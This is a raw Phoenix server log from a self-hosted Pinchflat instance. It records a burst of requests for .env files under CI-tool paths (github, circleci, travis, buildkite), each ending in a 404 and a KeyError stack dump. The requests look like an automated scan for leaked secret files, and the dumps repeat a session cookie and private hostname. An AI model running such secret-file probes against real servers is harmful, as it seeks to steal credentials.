=> "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 189, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /github/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/github/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 189, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:21.863 [info] GET /actions/.env 02:10:21.864 [debug] QUERY OK source="settings" db=0.1ms idle=192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.864 [debug] QUERY OK source="settings" db=0.1ms idle=126.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.864 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.864 [error] #PID<0.3494.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 190) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /actions/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actions/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 190, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3494.0>, params: %{}, path_info: ["actions", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/actions/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk66c2aaCwfp0AAS9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actions/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 190, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actions/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 190, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:21.938 [info] GET /circleci/.env 02:10:21.939 [debug] QUERY OK source="settings" db=0.2ms idle=200.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.939 [debug] QUERY OK source="settings" db=0.1ms idle=138.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.939 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.940 [error] #PID<0.3495.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 191) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /circleci/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /circleci/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/circleci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 191, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3495.0>, params: %{}, path_info: ["circleci", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/circleci/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk66uvL0wyjaMAAS-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/circleci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 191, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /circleci/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/circleci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 191, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:21.995 [info] GET /travis/.env 02:10:21.996 [debug] QUERY OK source="settings" db=0.2ms idle=132.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.996 [debug] QUERY OK source="settings" db=0.1ms idle=132.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.996 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.997 [error] #PID<0.3496.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 192) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /travis/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /travis/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/travis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 192, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3496.0>, params: %{}, path_info: ["travis", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/travis/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk668aVx1tazIAAS_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/travis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 192, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /travis/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/travis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 192, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:22.059 [info] GET /buildkite/.env 02:10:22.059 [debug] QUERY OK source="settings" db=0.1ms idle=120.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.059 [debug] QUERY OK source="settings" db=0.0ms idle=120.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.059 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.060 [error] #PID<0.3497.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 193) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /buildkite/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /buildkite/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: 